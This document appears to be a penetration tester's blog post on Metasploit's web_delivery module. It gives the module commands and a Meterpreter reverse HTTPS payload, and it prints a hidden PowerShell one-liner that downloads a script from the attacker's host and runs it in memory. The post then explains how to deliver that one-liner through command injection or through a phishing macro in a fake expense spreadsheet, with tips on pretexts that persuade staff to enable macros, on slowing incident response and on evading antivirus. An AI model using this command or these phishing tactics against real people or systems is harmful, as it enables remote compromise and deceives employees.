In the second edition of this series we are going to take a look at an exploit module that doesn’t get a lot of attention. I’ll use “exploit” in the same context that Metasploit does, which means that upon successful completion of this module you get a shell. It doesn’t mean that this module is some super 1337 browser exploit/sandbox escape 0day, which I think, is partly responsible for the lack of attention. First, lets look at the module and its options.
The Breakdown:
Fire up msfconsole and select the web_delivery module with the following command:
use exploit/multi/script/web_delivery
The “info” command will give us an overview of the options and intended usage of the module. As you can see this module will serve up our payload via HTTP and wait for a connection from the target, hence the “web_delivery” name. In case it isn’t obvious at this point, your intended target will need to be able to make an outbound request to your system for this to work.
Viewing the targets, we can see that there are three options available to us:
- Python
- PHP
- PSH (PowerShell)
These three options provide pretty solid coverage for most situations you are likely to encounter. Python has been included with Linux and OSX for several years now, PSH is included with all supported versions of Windows, and PHP will cover at least some of your web server needs. Now that we know a little bit about how the exploit will work, lets get going.
The Setup:
The first thing to do is address the “SRVHOST” and “SRVPORT” options. I’ll leave “SRVHOST” with the default value, but change “SRVPORT” to “80” since most systems should be allowed to talk out on that port. As I mentioned earlier, this is an exploit module so since you’re planning on getting a shell you’ll need to specify payload options as well. Use the standard command to set an appropriate payload based on your target, for this we’ll assume PSH.
set PAYLOAD windows/meterpreter/reverse_https
Finally, set your “LHOST” and “LPORT” payload options as necessary and you should be good to go.
Something to note is that this module automatically executes as a background job, meaning that your handler will be running indefinitely, so you don’t have to worry about pesky timeout issues on slow systems, and you can continue to use the framework for additional tasks while you wait for shells.
Once you’re ready, kick it all off with everyone’s favorite command:
exploit
and you should get a command similar to this:
powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://<LHOST>/b9EzpIimBUmmu'))
Now, how you put that to use depends on your situation.
The Payoff:
Scenario 1: Command Injection
So you are doing a pentest or application security assessment and find a command injection vulnerability in a web app. You’ve already determined the server is running on Windows, and you know you want a shell. Obviously, you are going to create a Meterpreter executable or backdoor a known exe, host it via HTTP or FTP, then leverage the command injection to “echo” out a script, line by line, that will pull down and run your executable. Hopefully you don’t have a typo anywhere in there. Or, you can leverage the command injection to run a single command which launches PowerShell, downloads and executes a script completely in memory (suck it AV), and kicks a shell back to you. It’s your pentest, so you can do what you want, but I know which option I am going to try first.
Scenario 2: Phishing
Say you are going phishing, but you don’t have a lot of time to craft a believable landing page to collect credentials. Heck, maybe you would just rather get shells than credentials, I don’t know you. So you take an Excel document, put some numbers in it, and call it an expense report. Hack together some VBA to execute your module output and stick it in a macro, like this:
“But our employees won’t enable macros”, you say. Who are you kidding, of course they will. Especially if you craft a clever pretext and explain that macros are required to sync information with an internal database. Nobody wants to be the “out-of-sync-data-guy”. Fire off a few of those bad boys, probably to people in different departments so the internal response takes longer, and boom. If you do this and don’t get at least one shell, find me at DerbyCon 2015 and I’ll buy you a beer so you can drown your sorrows.
So there you have it, while this post focused on the PSH target, similar things are possible with the Python and PHP targets as well. If you took the time to read this, hopefully you learned something. Tune in next time, when we discuss more Metasploit awesomeness!
